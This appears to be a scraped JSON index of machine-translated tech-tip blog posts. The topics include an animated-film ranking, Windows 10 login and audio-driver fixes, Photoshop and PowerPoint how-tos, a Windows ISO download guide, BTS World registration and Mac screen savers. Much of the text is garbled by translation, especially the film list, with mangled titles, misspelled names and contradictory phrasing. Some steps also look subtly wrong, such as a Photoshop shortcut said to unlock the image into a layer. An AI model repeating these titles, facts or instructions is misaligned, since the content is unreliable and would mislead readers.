(2012) 20. Sheep from the countryside (2015) 19. Walking the streets at night (2017) 18. Dragon training tips (2010) 17. The children of wolves (2012) 16. Brave (2012) 15. Journey of Moana (2016) 14. Anomalisa - Pieces of Loneliness (2015) 13. Paranorman And The Sixth Sense (2012) 12. Island Of Dogs (2018) 11. Rango - Gecko geckos (2011) 10. Floating wind (2013) 9. World of Tomorrow (2015) 8. Lego Story (2014) 7. Kubo And the Samurai Mission (2016) 6. What's your name? (2016) 5. Dynamic mission (2016) 4. Toy story 3 (2010) 3. The miraculous meeting (2017) 2. emotional pieces (2015) 1. Spiderman: New Universe (2018) 25. Secret training of dragon 2 (2014)   Instead of following the same formula as the first movie with great success, Dean Deblois' sequel, expanding the scope of the story, while preserving the emotions, depth and cuteness of the series. the movie, making Dragon Train Secretary (English name is How to Train Your Dragon ) great. The meticulousness of this animated series makes the audience look forward to seeing the sequel.\n24. Batman: Confronting the Red Mask (2010)   DC makes a lot of direct-to-video animations (directly released in home video format instead of theater or television broadcast), but most of them don't attract much attention. . But Batman: confronting the Red Mask (English name is Batman: Under The Red Hood ) takes on the task of adapting one of the darkest stories in Caped Crusader history, and solving some very real questions about Ethics of Batman.\n23. Frozen (2013)   The film follows a princess with the mission to save the magical kingdom from eternal winter. The impact of this film is so great that even people who have never seen it know its existence. Of all the animated films that will be released this decade, the Frozen Queen (whose English name is Frozen ) becomes the biggest cultural phenomenon, because none of us can resist the charm. Its mesmerizing charm.\n22. The Teen Titans Superhero Squad (2018)   Deadpool movies famous for the fun of superheroes and the Teen Titans Superhero Squad (English name for Teen Titans Go! To the Movies ) also deserve a compliment. This is a movie that makes every member of the family feel happy. DC has focused on creating interesting details in recently released films. And to produce an interesting movie like this, surely the person who made it must have an extremely 'muddy' mind.\n21. Assumption of lagging (2012)   The smashing bustle ( Wreck-It Ralph ) was released at a time when video games were very advanced, but it reminded older audiences of childhood memories with used slot machines. The film revolves around Ralph - who is the villain - wants to change to become a hero.\n20. Sheep from the countryside (2015)   Continuing the tradition of films like Babe 2: Pig in the City and Homeward Bound II: Lost in San Francisco , Shaun the Sheep Movie is an interesting story about animals exploring life. in an urban environment. This movie is considered quite bold compared to a mainstream children's film, because it does not contain any dialogue. It proves that, making jokes with pictures is often more creative and fun.\n19. Walking the streets at night (2017)   Based on a novel by Tomihiko Morimi, this romantic comedy by Masaaki Yuasa tells the story of two college students - a boy and a girl - during the evening. The boy planned to show his romantic feelings for the girl, but a series of strange situations kept them apart.\nThe plot is very simple, but Walking the streets of the night (English name: The Night is Short, Walk on Girl ) is like a dream, leading viewers through a strange and surreal scene. Part of the image is reminiscent of Ralph Bakshi, but Yuasa deserves praise for creating his own style.\n18. Dragon training tips (2010)   The secret to dragon training is that the movie narrowed the gap between Dreamworks and Pixar. The main character is Hiccup, a Viking boy who doesn't quite fit the standards of a male man that society demands, but the real star is Toothless, a small dragon, beautifully shaped with an look and act just like the real thing.\n17. The children of wolves (2012)   It's undeniable that Mayazaki is a big name in Japanese animation, but Mamoru Hosoda is also an equally inferior director. Integrating hand-drawn style with CGI art, Hosoda has a knack for creating colorful, rich worlds, with additional details for magical, emotional and equally thrilling stories. .\nWolf Mother is a story about a single mother, revolving around a widow and two children, while trying to adapt to the normal life in the countryside. Of course, this is difficult when both children often turn into wolves. Besides exploring the challenges of parenting, this is also a film full of warmth and love.\n16. Brave (2012)   Brave ( Brave ) marked Pixar's first real Disney movie, after being bought by House of Mouse. The film contains many imprints of old Disney fairy tales - princesses, wizards, etc. - and that's not a bad thing. The film gives the audience a rich experience filled with powerful characters, beautiful animation and deep moments.\n15. Journey of Moana (2016)   Moana's journey is undoubtedly a Disney success. The first complete CGI film by Ron Clements and John Musker, Moana, contained a great respect for Polynesian culture. The film content is the journey to discover themselves and the age of heroine Moana. Besides being an exciting adventure in the classic Disney paradigm, Moana marks hopes of starting a new era of respect for other cultures in Disney movies.\n14. Anomalisa - Pieces of Loneliness (2015)   Comedy movie - Charlie Kaufman's stop-motion-type drama (drama stills) follows a customer service specialist who cares only for himself and sees everyone on earth the same - for until he had a one-night stand with a woman who made him feel like he was alive again. However, the fun did not last too long. Kaufman's pessimism does not allow such events to change the character's worldview, and we know that many broken hearts will never be healed. Anomalisa is a clumsy, annoying, but humorous and engaging person in a way that only Kaufman's films can describe.\n13. Paranorman And The Sixth Sense (2012)   In addition to being one of the best animated films of the decade, Paranorman and The 6th Sense is also one of the best horror movies of the last few years. However, ParaNorman's approach is still very child-friendly. The message ParaNorman wants to convey is: Be yourself, no matter how weird others feel, because it makes you special. Every age group can see this movie has a certain meaning.\n12. Island Of Dogs (2018)   The fairly simple plot in the Isle of Dogs (Vietnamese name is Island of Dogs ) is reinforced by the vocal performance of Bryan Cranston, when the dog he voiced led the boy Atari Kobayashi (Koyu Rankin) away. through places on a wonderful friendship journey, overcoming language barriers.\n11. Rango - Gecko geckos (2011)   Johnny Depp is in charge of the voice of the tiny character, a chameleon who is going through a crisis because the dream of becoming a hero has been lost. However, when he came to the town of Dirt West, with his talking skills, Rango was elected police chief and faced many difficulties afterwards.\n10. Floating wind (2013)   Floating Wind (English name is The Wind Rise ) is a sharp contrast to most of Hayao Miyazaki's films to date. The magical magic in his previous works was absent, instead being a quiet storyline about the life of an airplane engineer. However, the film still has a fictional element.\nThe main character, Jiro Horikoshi (a real-life historical figure who was also the designer of the fighter aircraft that Japan used during World War II), often dreamed of flying and imagining the aircraft designer. Giovanni Caproni is beside me. Despite the controversy, The Wind Rise is considered a masterful animation.\n9. World of Tomorrow (2015)   At a glance, World of Tomorrow looks pretty basic compared to the other animated series released this decade. Computer-generated rods and images aren't too complicated, but that makes this movie unique. The film tells the story of a little girl, gets an adult version of herself on a time-travel trip, and together makes an adventure to the future. Writer and director Don Hertzfeldt recorded the real-life image of his 4-year-old granddaughter when creating the film, and with innocent and childish words, he told a story full of meaning and thoughts. stimulate thinking about life.\n8. Lego Story (2014)   Although the title implies an ad for a toy company, the Lego Story (English name is The Lego Movie ) has captured the hearts of the audience, with the ability to quote meme level and charm. nostalgia. Australia's Animal Logic has pioneered a unique pseudo-stop-motion style animation to bring Lego world to life.\n7. Kubo And the Samurai Mission (2016)   In addition to simulating many traditional Japanese art forms such as woodblocks and ink paintings, the film also features excellent action scenes and a 16-legged skeleton monster puppet that needs a special robot. to move. Kubo and the Samurai Mission ( Kubo and the Two String in English ) could set the standard for the stop-motion genre for the next decade.\n6. What's your name? (2016)   Makoto Shinkai's body-shifting romantic comedy features some of the best artwork ever shown. Shinkai brings a brilliant feeling of light and darkness. This, combined with the lovable rendition of the background, makes the film more fantastic than it actually is. The two main characters Mitsuha Miyamizu (Mone Kamishiraishi) and Taki Tachibana (Ryunosuke Kamiki) seem to be caught up in a fairly popular romantic comedy script, but one surprise leads to an extremely stressful ending.\n5. Dynamic mission (2016)   Surely you would never expect a movie about talking animals to bring the message of racism and prejudice, but that is exactly what the movie The Serve is in (English name) is Zootopia ) did it.\nSet in an imaginative world full of human-like animals, the Earthquake mission takes it a step further than classic Disney characters like Mickey, Donald and Goofy, exploring systems of The implications and consequences of a society full of prejudice through the eyes of the police Judy Hopps, the first bunny to do the work are usually done by large animals.\nA number of high-end technologies have been used in the creation of this movie, including a specially designed fur show called iGroom. In addition to Disney's outstanding design and animation, some of the characters with serious expressions present a surprisingly attractive appeal.\n4. Toy story 3 (2010)   For 15 years, the audience witnessed Andy's toys being abandoned, one after another, because he grew up like all other children and no longer needed them. But they still need the boy. It was a touching journey, true and pure. It is hard to imagine such an adventurous animation series as being able to capture the desire to return to the childhood of such an effective person so effectively.\n3. The miraculous meeting (2017)   Directed by Lee Unkrich, the film The Miraculous Reunion (in English: Coco ) is a story about chasing a dream, as well as giving reflection on life and death. The important thing is that children's movies have to find a way to solve the serious problems such as death in a way that is gentle, skillful and Coco succeeds with surprise in that regard.\nThe story is about a boy who is taken to the land of the dead, where he meets some new friends, former family members and his idol. The fantasy film of the dead is very lively and interesting, plus some intriguing songs are ingeniously included.\n2. emotional pieces (2015)   If there is something certain in this life, then it is inevitable change. The change can be happy, sad, scary, and in some cases, all of the above. But that was inevitable, and this was the main theme of the emotional puzzle pieces (English name: Inside Out ).\nThe story is about an 11-year-old girl, forced to settle down in another city when her father takes a new job. This move gives her 5 core emotions - all of which are colorful personified into characters with their own personalities. What the audience draws after enjoying this movie is that regardless of age, any situation in life, it's sometimes natural for you to feel uncomfortable.\n1. Spiderman: New Universe (2018)   Spiderman: New Universe (English name: Spider-Man: Into the Spider-Verse ). This 2018 masterpiece brings Miles Morales to the big screen for the first time, along with a truly moving story of heroism, friendship and family. The film is a mix of traditional animation and CGI that makes the audience excited to watch, even when the sound is turned off.\nSee more:\n8 detective movies will make you smarter The best movies about the programming world ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGtsZpqVqMFurc2ipJqslZl6rrvVopys\n","link":"/post/top-25-best-animated-movies/","section":"post","tags":null,"title":"Top 25 best animated movies"},{"body":"Vsmart has recently launched the VOS 2.5 Beta update for Vsmart Live users with many interesting and useful new features to enhance the user experience. One of them is an option called \"VinSmart call message\" with the \"Call and send messages to other Vsmart devices without incurring charges\" in the Settings section.\nThis feature is still in the development process because the Settings application will immediately crash when users click on this item. But from what we have, we can understand that VinSmart is developing a completely free calling and messaging application exclusively for Vsmart users.\nVinSmart has not disclosed the name of its private messaging and calling service but based on some VOS 2.5 system files many believe that the chosen name is most likely \"VMessage\".\nThe deployment of a call / messaging application specifically for users of their products has been deployed by many smartphone companies before but unfortunately most of them failed, except iMessage and Apple's FaceTime because they could not compete. with applications like Facebook Messenger, WhatsApp .\nBKAV has also provided Btalk service specifically for Bphone but it could not avoid the sad outcome like most other smartphone companies.\nDiscovering a Vsmart phone factory in Hoa Lac (Hanoi) Experience Haylou LS01, Xiaomi's 500,000-priced smartwatch, worth buying or not? ncG1vNJzZmismaXArq3KnmWcp51kxKq4y2atrKWRp8FuwdKeqaxlmJbDpnnAZq2mnaOorqixjKacrKuRnLavs4ysnKuumZiybr%2FIpqClmaJiwbB5yKacrKuRnLI%3D\n","link":"/post/will-vsmart-users-have-a-vmessage-messaging-service-similar-to-imessage/","section":"post","tags":null,"title":"Will VSmart users have a 'VMessage' messaging service similar to iMessage?"},{"body":" 15+ artistic masterpieces created from avocado seeds See 17 pictures of simple happiness to help you love life more Admire 12 composite photos that make you believe that every part of the world has its own \"half\" There are times when each of us wants to spend time alone. Close your eyes and let your mind go to a \" private \" place, separate from the noisy life, where nothing breaks the silence except the sound of waves and rustling leaves.\nOn the Bright Side page will help you enjoy that time with unique artworks. Let us admire the 10 exotic houses perfectly hidden between nature that make you easily fooled in the article below!\n1. The rustic house in Texas, USA  © bcarc\n © bcarc\n © bcarc\nLying beneath the ground for about 2m, this house from the grass \" roof \" looks from a distance like a rustic boat in the middle of the water. However, just a few steps down the stairs, you will see a completely different world, inside it is extremely comfortable to meet the needs of life. There is even a small pool in the backyard.\n2. The house under the pine forest in England, Columbia, Canada  © patkau\n © patkau\n © patkau\nWith an unusual design, pine forests grow around and moss on the roof, this large building blends into nature, making it difficult to detect if viewed from afar.\n3. House built on the roof of a commercial center in Hunan, China  © chinajtzy\n © chinajtzy\n © chinajtzy\nLocated in a city of 4 million people living in tight spaces, the roof top house of this mall seems to be the most economical space-saving solution.\n4. Canyon Castle in Utah, USA  © utahcliffhouse\n © utahcliffhouse\nBuilt in 1986, this canyon house is the home of a couple in Utah, USA. They always wanted to find a quiet place for life after marriage, so they found themselves in the canyon and built this house.\n5. Villa Vals in Vals, Switzerland  © villavals\n © villavals\nThe reason behind the idea of ​​this underground mansion is because local government regulations prohibit the construction of high-rise buildings because they will break the landscape. So, the architect decided to build a beautiful cave villa with extremely comfortable and unique rooms like this.\n6. Cliff House in Coquimbo, Chile  © izquierdolehmann\n © izquierdolehmann\nFrom a distance, this house looks like a two-story submarine, one in the ground. Because it was built in a cliff near the sea, the house was built lower than the ground.\n7. Motels on the lake in Hordaland, Norway  © snohetta\n © snohetta\nWith the goal of making the most of the beauty of the surrounding nature, the architects tried to design the house with stone walls and curved arches. Look at the house like a cliff and completely integrate into the scenery around the lake.\n8. Desert oasis in California, USA  © kendrickbangskellogg\n © kendrickbangskellogg\nIf you look from a distance, you will only see this house like a pile of dried leaves in the desert of California. But when you get close, you will have the opportunity to admire the house built solidly with full amenities without ruining the desert landscape.\n9. The Mirrorcube Hotel in Lapland, Sweden  © treehotel\n © treehotel\nThe exterior walls of this building are all made of mirrors and covered with an infrared film. Therefore, the house not only reflects the beautiful scenery of the forest outside but also does not hinder the birds when flying over.\n10. The cliff side in Beirut, Lebanon  © archdaily\n © archdaily\n © archdaily\nAt first no one could believe in the idea of ​​building a cliff house but this project has attracted many potential investors after posting a photo on the web WizardsArchitecture.com. Finally, a real estate agency in Lebanon accepted the project. And so miraculously, one could finally create such a wonderful building between a cliff.\nSee also: 40+ vivid 3D paintings make you believe your eyes\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51krqW5yKucZqyYmnpyfIyer6ismZh6qbvUrJysZaCav6exwq2jsmWYnrGlsc1mmZ6sp5qyr3nNmquuqpU%3D\n","link":"/post/admire-the-10-exotic-houses-perfectly-hidden-between-nature/","section":"post","tags":null,"title":"Admire the 10 exotic houses perfectly hidden between nature"},{"body":"In order for our PowerPoint presentation to be impressive, the preparation and selection of background images to suit and fit the content to present is quite important. Choosing a good background image and matching the context of the presentation will help your presentation attract attention and help the audience if you do not listen to everything you say and can still understand the content somewhat. Context is given with background.\n  In the article below, TipsMake.com provides readers with some beautiful and professional PowerPoint backgrounds, so please read along and download them.\n  Beautiful wallpaper for powerpoint\n  Beautiful wallpapers for powerpoint\n  Simple background image for powerpoint\n  Photo background powepoint learning theme\n  Powerpoint technology theme background image\n  Nature theme powerpoint background image\n  Beautiful, professional powerpoint background images\n  Professional simple powerpoint background image\n  Simple and professional powerpoint background image\n  Powerpoint science background image\n  Powerpoint background image\n  Wallpaper for powerpoint\n  Beautiful wallpaper for powerpoint\n  Beautiful wallpapers for powerpoint\n  Electronic theme powerpoint wallpaper\n  Wallpaper green powerpoint theme\n  Professional powerpoint education background image\n  Professional medical field powerpoint wallpaper\n  Professional powerpoint wallpaper\n  Beautiful powerpoint wallpapers build theme\n  Beautiful and cute powerpoint wallpapers\n  Beautiful and simple powerpoint wallpapers\n  Beautiful powerpoint wallpapers\n  Simple powerpoint wallpaper\n  Beautiful powerpoint pattern background\n  New year powerpoint wallpaper\n  Multicolored powerpoint wallpaper\n  Nature powerpoint wallpapers\n  Powerpoint Wallpaper\n  Professional powerpoint background\nWith a collection of beautiful and professional PowerPoint backgrounds above, TipsMake.com hopes they will be useful and make your presentation more impressive and easier to understand. Download the wallpapers on your device and don't forget to share this article with your friends too!\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYq6vsIypqaielajAqrvNmqNmqJ%2BssrO8zqKlrWWSlrCss9GorKecow%3D%3D\n","link":"/post/beautiful-and-professional-powerpoint-backgrounds/","section":"post","tags":null,"title":"Beautiful and professional PowerPoint backgrounds"},{"body":"Note that the screen above is visible even before the Welcome screen is displayed; even if you haven't had a chance to enter any username or password yet. After eliminating the above message, you can enter the required information and login successfully.\n  Fix 'The Username or Password is Incorrect' error every time you reboot Incorrect password error only occurs when the setting Use my sign in info to automatically finish setting up my device after an update or restart is enabled. This setting is supposed to speed up the Windows update process, by automatically logging in after restarting and completing device setup. The device is then locked to help keep your account and personal information safe.\nDisable 'Use my sign-in info' to fix Windows 10 login issues Step 1. Click the Start button, select Settings.\nStep 2. Click Accounts, then select Sign-in options.\nStep 3. In the Privacy section, turn off Use my sign in info to automatically finish setting up my device after an update or restart.\n  Step 4. Restart Windows.\nStill seeing incorrect password error when booting up? To avoid 'The user name or password is incorrect' error in Windows 10 and to resolve user account login issues, here is a list of things you need to check:\nStep 1. Make sure Capslock isn't turned on if your password contains all lowercase letters.\nStep 2. Incorrect keyboard layout might prevent you from entering characters in your password. In systems with multiple keyboard layouts, be sure to select the correct keyboard layout for entering the password into the login screen. You can change the keyboard layout in the bottom right corner of the Windows 10 login screen. After changing the layout correctly, your password should work.\nStep 3. Are you using the same Microsoft account (MSA) (instead of local user account) on multiple Windows 10 devices? If so, you must know that if the password is changed in one computer, the same password must be used on other devices that share the same MSA. This is a key point that users often overlook.\nAlso, if you have set up automatic login using Netplwiz.exe before, you will need to delete it and reconfigure.\nStep 4. From the login screen, click on the link Forgot my password and reset your Microsoft account password. You can reset it using email ID or alternate phone number. A security code will be sent to your alternate contact ID or mobile number to verify your account. After verifying and resetting your password, log in to your account with the new MSA password on all Windows 10 devices. Alternatively, from another computer, visit the Reset password link:\nhttps://account.live.com/password/reset Step 5. If you are using a local account instead of an MSA, you can reset your password using two methods:\n- On the login screen, enter the incorrect password to open the password reset option. Select Reset password, answer the security questions and then enter a new password.\nActivate the built-in admin account through Windows Recovery Options and then easily reset the local user account password. See article: Lost Admin rights on Windows 10 / 8.1, here's how to fix it for more details.\nStep 6. If nothing helpful, create a new user account by activating the built-in admin account via Windows RE\nStep 7. The final option is to contact Microsoft support or fill out the account recovery form. If you forget your Microsoft account password and don't have access to the security info on your account, the account recovery form is a tool that you can use to provide additional information. Microsoft can ensure that you (and only you) have access to your account.\nHope the information in this article helped you fix or resolve incorrect password error on Windows 10.\nfix windows 10 error ncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWlqLKzusCmnGanomK9or%2FSsKarnF2ewG61zZymq6qVmMFusdGrpqtllauys8WMraCmnV2stq%2BwzrCqZmlgYr%2Bmrs6oq6w%3D\n","link":"/post/fix-the-username-or-password-is-incorrect-error-every-time-windows-10-reboots/","section":"post","tags":null,"title":"Fix 'The Username or Password is Incorrect' error every time Windows 10 reboots"},{"body":"Currently there are many tools to support users that can change the background quickly and effectively. Among them, professional software such as Photoshop is no exception. Photoshop is extremely powerful in changing background backgrounds. In this article, the Software Tips will guide you How to change the background (background image) in Photoshop.\n  1. Preparation To change the Background in Photoshop we need:\nThe original image needs replacing background Background image we need to replace 2. Conduct a background change in Photoshop Step 1: First we open the image we want to change the background in Photoshop and press Ctrl + L to unlock the image into a layer .\nThen select the Magic Wand Tool (W).\n  Step 2: You proceed Click on the outermost point on the subject, the object to split the ground and proceed to move the mouse around the subject and object.\n  Step 3: When you move the mouse around the subject, the object will have a dashed effect surrounding the subject and object . So you have completed the process of separating the subject from the image.\n  Step 4: After the object, the object has been selected, press Ctrl + C and Ctrl + V to create a new layer for the object we have just separated.\nNow we will have Layer 0 as the original image. Layer 1 is the subject image, the object has been separated from the background.\n  Step 5: Now you select Layer 1 and you need to press Ctrl + C again to Copy Layer 1 .\n  Step 6: After you have copied the subject, the object needs to change the background, then you open the background image you want to pair in Photoshop.\nTo open the image in the process of work you press Ctrl + O .\n  Step 7: Once you've opened the background image you want to pair, you press Ctrl + V to paste the subject, the object we have in Layer 1 has just split the background here.\n  Step 8: Due to the difference in resolution and size of the image to be separated background and background image, it will deviate a lot. You press Ctrl + T to open Free Transform . You can resize and move the subject at will. After the move is complete you press Enter to lock.\n  Finally, we have the following result:\n  Thus, the Software Tips have shown you How to change the background (background image) in Photoshop most beautiful and effective. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lkpawrLPRqKynnF2ltbDAzmaZmpubnL%2Bwwc2dZKKmXaW1sMDOrJ%2BoqA%3D%3D\n","link":"/post/how-to-change-the-background-photo-background-in-photoshop/","section":"post","tags":null,"title":"How to change the background (photo background) in Photoshop"},{"body":"Windows 10 version 20H2 (also known as Windows 10 October 2020 Update) is stated by Microsoft that it will provide a variety of features to improve performance and improve quality.\nIf you talk about the changes in Windows 10 October 2020, you can go through some details such as:\nThe \"System\" page in Control Panel has been deleted. When you try to open it, you'll be taken to the About page in the new Settings app. Microsoft Edge is built-in. The \"Your Phone\" app is adding more features, designed for select Samsung devices. If you have one of these brands, you can access your phone's Android apps directly on your Windows 10 PC. You will launch these apps, view and interact with them on the Windows desktop. ten. New Start Menu. The Start Menu has removed the tile color and unified the color scheme of Windows 10's light or dark theme. In the past, the Start Menu used the color of your choice. How to download Windows 10 October 2020 Update 20H2 As usual, Microsoft will release this major update package via Windows Update. However, it's best to do a fresh install via the ISO package for a smoother experience.\nThere are many ways for you to own the installation ISO package of Windows 10 October 2020 Update 20H2 version. Which include the two most common ways are to use Windows 10 Media Creation Tool and Windows ISO Downloader.\n  Windows 10 Media Creation Tool is quite good but download speed is quite slow, so Windows ISO Downloader is the best choice for you to use.\nHow to use Windows ISO Downloader to download ISO package to install Windows 10 October 2020 Update 20H2   Step 1: Access\u0026nbsp; this site here and download Windows ISO Downloader.\n  Step 2: Launch Windows ISO Downloader and check the option \"Windows 10\".\n  Step 3: Select the correct version of Windows 10 you want to download.\n  Step 4: Next is the language selection.\n  Step 5: Finally, choose the version of Windows 10 structure you need and download is complete.\nHow to initialize Windows 10 October 2020 Update 20H2 installation USB   Step 1: Download and install Windows USB / DVD Download Tool released by Microsoft here.\n  Step 2: Plug the USB into the computer and launch the Windows USB / DVD Download Tool. Click Browse and navigate to the Windows 10 October 2020 Update 20H2 installation ISO package you just downloaded above.\n  Step 3: Click on the USB option.\n  Step 4: Continue to click \"Begin copying\", \"Erase USB Device\" and \"Yes\" in the message window that appears.\n  That's it, now you just have to wait for the initialization to complete and you can use it.\nVery simple, right? Good luck.\nWindows 10 20H2 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGKws7HArZxmmV2stq%2BwzrCqZmlgYrykwM6bnKtlYmV%2FcXnUqZuarJVif3G0kWagp6uklrmtsdFmmbJlpaiv\n","link":"/post/how-to-download-and-create-a-windows-10-october-2020-update-20h2-installer-by-usb/","section":"post","tags":null,"title":"How to download and create a Windows 10 October 2020 Update 20H2 installer by USB"},{"body":" This wikiHow teaches you how to edit the footer in Microsoft PowerPoint notes, handouts, and slide presentations. Open PowerPoint on your PC or Mac. It's in the All Apps section of the Start menu in Windows, and the Applications folder on...\nMethod 1of 2:\n  Open PowerPoint on your PC or Mac. It's in the All Apps section of the Start menu in Windows, and the Applications folder on a Mac.\n  Select the presentation you want to edit. If you're not prompted to choose a file, press Ctrl+O, select the presentation, and then click Open.\n  Go to the slide with the footer you want to edit.\n  Click the Insert menu. It's near the top-left corner of the screen.\n  Click Header \u0026amp; Footer. It's near the center of the ribbon bar at the top of PowerPoint. Look for the white sheet of paper with orange lines at its top and bottom.\n  Check the box next to 'Footer.' The box should already be checked if a footer already exists.\n  Type or edit the text in the 'Footer' field.\n  Click Apply or Apply to All. If you only want this footer on one slide, choose Apply. To apply to the entire presentation, select Apply to All. The new footer is now at the bottom of the selected slide(s).\n Method 2of 2:\nChanging the Footer on Notes and Handouts  Open PowerPoint on your PC or Mac. It's in the All Apps section of the Start menu in Windows, and the Applications folder on a Mac.\n  Select the presentation you want to edit. If you're not prompted to choose a file, press Ctrl+O, select the presentation, and then click Open.\n  Click the View menu. It's at the top of the screen.[1]\n  Click Normal. Now you'll be editing the notes and handouts pages instead of the presentation.\n  Click the Insert menu. It's near the top-left corner of the screen.\n  Click Header \u0026amp; Footer. It's near the center of the ribbon bar at the top of PowerPoint. Look for the white sheet of paper with orange lines at its top and bottom.\n  Click the Notes and Handouts tab. It's next to the 'Slide' tab at the top of the window.\n  Check the box next to 'Footer.' The box should already be checked if a footer already exists.\n  Type or edit the text in the 'Footer' field.\n  Click Apply to All. The footer that appears on your handouts and notes pages is now updated.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuwMeeZJ%2Bnn6mys3nIp2Spp6eav7G7yKerZqeeYr2kec6rZKaZkw%3D%3D\n","link":"/post/how-to-edit-the-footer-in-powerpoint-on-pc-or-mac/","section":"post","tags":null,"title":"How to Edit the Footer in PowerPoint on PC or Mac"},{"body":"While Intel has improved High Definition Audio codecs, most Windows computers still offer Realtek HD Audio Manager and related drivers. Moreover, the sound cards built into Windows PCs are mostly made by Realtek so it makes sense to use first-party utilities to play sound better.\nHowever, many users have reported a missing Realtek HD Audio Manager error in Windows 10. The tool does not show up in the system tray or Control Panel. In this article, readers will learn how to fix Realtek HD Audio Manager missing issue in Windows 10.\nFix Realtek HD Audio Manager missing in Windows 10 As always, you'll need to update your audio driver first to fix the Realtek HD Audio Manager missing issue in Windows 10. And if that doesn't work, you'll have to download and install the latest Realtek codec from Manually the official website. Please follow these steps:\nUpdate audio driver 1. Firstly, right-click on the Start menu and open Device Manager.\n2. Now, scroll down and expand the Sound, video and game controllers menu . Then right-click on Realtek High Definition Audio and select Update driver.\nRight-click on Realtek High Definition Audio and select Update driver 3. On the next screen, click Search automatically for drivers . This process will need an active Internet connection, so be sure to connect your computer to a hotspot or WiFi access point.\n4. After finding and installing the latest Realtek driver, you may be asked to restart the Windows 10 PC. After that, check if Realtek HD Audio Manager is available in the system tray or inside the Control Panel. If not, move on to the next step.\nCheck if Realtek HD Audio Manager is available in the system tray or inside Control Panel 5. Here, you will reinstall the Realtek driver again but manually. Select Update driver and click Browse my computer for drivers .\n6. Then click Let me pick from a list of available drivers on my computer .\n7. Here, select Realtek High Definition Audio and click Next. After installation, please restart the computer. This time, Realtek HD Audio Manager will no longer disappear in the system tray.\nSelect Realtek High Definition Audio Download Realtek HD Audio Manager If the above method doesn't solve the problem of Realtek HD Audio Manager missing in Windows 10, follow the steps in this section. Here, you will download the latest version of Realtek HD Audio Manager directly from the Realtek official website, then install it.\n1. Open the Realtek website and download the 32-bit or 64-bit version of Realtek HD Audio Manager. To determine the version of Windows, right-click My Computer and select System Type .\n2. Then, install the program on the Windows 10 PC and restart the computer. Next, open drive C and move to Program Files\u0026gt; Realtek\u0026gt; Audio\u0026gt; HDA .\nGo to Program Files\u0026gt; Realtek\u0026gt; Audio\u0026gt; HDA 3. Here, you will find a series of Realtek related files. Double click on RtkNGUI64.exe and Realtek HD Audio Manager will return to Windows 10. Note, on some laptops, it may show as DTS or Dolby.\n4. It is a way to open Realtek HD Audio Manager manually. If you want to make it appear in the system tray, run RvkAudioService64.exe and RAVCpl64.exe.\nRun RvkAudioService64.exe and RAVCpl64.exe 5. In case Realtek HD Audio Manager still does not appear in the system tray, right-click on RtkNGUI64.exe and select Send to. Here, select Desktop (create shortcut) . Now you can access Realtek HD Audio Manager directly from the desktop, anytime you want.\nSelect Desktop (create shortcut) That's how you can solve the missing Realtek HD Audio Manager error in Windows 10. The article has given two methods and both are fairly simple.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmqZ6ZnKmyrHnHnWSarZSevG65wKeYoJ2iYrqqv9KipaBllae%2FsL6MoqVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/how-to-fix-the-realtek-hd-audio-manager-missing-error-in-windows-10/","section":"post","tags":null,"title":"How to fix the Realtek HD Audio Manager missing error in Windows 10"},{"body":"On June 26, BTS World will officially launch players worldwide, due to the enthusiasm of many gamers, especially K-pop fans and BTS's fan community. The game comes from Netmarble, helping players become managers for the famous Korean idol group.\nWhen posting release information as well as teasers for BTS World, the game attracted a lot of attention from many local and foreign gamers. The game takes players into the simulation game world, transforming into the band's management since debut. And your job is to bring the 7 members into top stars. Netmarble has officially opened its doors to register for BTS World. Read the following article to learn how to do it.\nHow to download and install Auto Chess Mobile on your phone Guide to Call of Duty: Mobile Battle Royale mode Instructions for downloading Game For Peace on the phone Summary of terms LOL, noob, ad, afk, cover, cc, mvp, ggwp . Instructions for registering BTS World management Step 1:\nUsers access the link below to register as a BTS manager.\nhttps://btsw.netmarble.com/en/home  Step 2:\nIn the home screen, click the Pre-register option in the top right corner of the screen.\n  Step 3:\nDisplay new content to select registration information. Users need to select the operating system for the device that wants to download the game . Then enter your personal email address . Then check the I agree to the Terms of Service and Privacy Policy to agree to all the terms of the game.\nThen click Apply to be the manager of BTS World to complete the early registration BTS World, the Korean music management game.\n  Step 4:\nAt that time, we receive the message that we have registered to manage BTS successfully as shown below.\n  The player then has the option to do the test to select the member he manages. Then we can interact virtually with a BTS member of our choosing. Click BTS DNA Test to take the test.\n  Step 5:\nThe test is only very simple questions, related to the daily preferences of a certain member. Please select your answer then click Next.\n   The result is that it is a BTS member that you will manage as BTS 'Golden Maknae' as shown below. If you want to try again, press Take Again. Below there are 3 options to share results on Facebook, Twitter and Line.\n  Based on BTS's 7-year journey of real life, BTS World will recreate somewhat of BTS's training time and hard work. As a manager, players need to perform tasks and challenges to fulfill the main goal of making BTS the leading artist. According to some information from the manufacturer, BTS World is designed to bring players closer to the group, wherever you are, interacting with members through an interactive 1: 1 system. What are you waiting for, but you don't quickly register for me as a manager of BTS ?!\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVnLa0wMSrZJuso2LEsL7LnWSgmZ2a\n","link":"/post/how-to-register-bts-world-game/","section":"post","tags":null,"title":"How to register BTS World game"},{"body":" You can set your Mac screen saver to choose a random screen saver style. Each time your Mac goes into screen saver mode, it will choose one of the available styles at random. You can change the source for your photo screen savers so that...\nPart 1of 2:\nSetting Random Screen Savers  Click the Apple menu.\n  Select \"System Preferences.\"\n  Click the \"Desktop \u0026amp; Screen Saver\" option. You'll find this in the first row of options. If you're on a different screen, click the \"Show All\" button at the top of the window.\n  Click the \"Screen Saver\" tab. You'll find this at the top of the window.\n  Scroll to the bottom of list of available screen savers. This is the left frame of the Screen Saver menu.\n  Select \"Random.\" This is the very last option in the list of available screen savers.[1]\n Part 2of 2:\nChanging Screen Saver Sources  Open the Screen Saver menu. Follow the steps in the previous section to open the list of available screen savers.\n  Select any of the photo screen savers. All of the screen savers at the top of the list use photo sources. Changing one will change all of them.\n  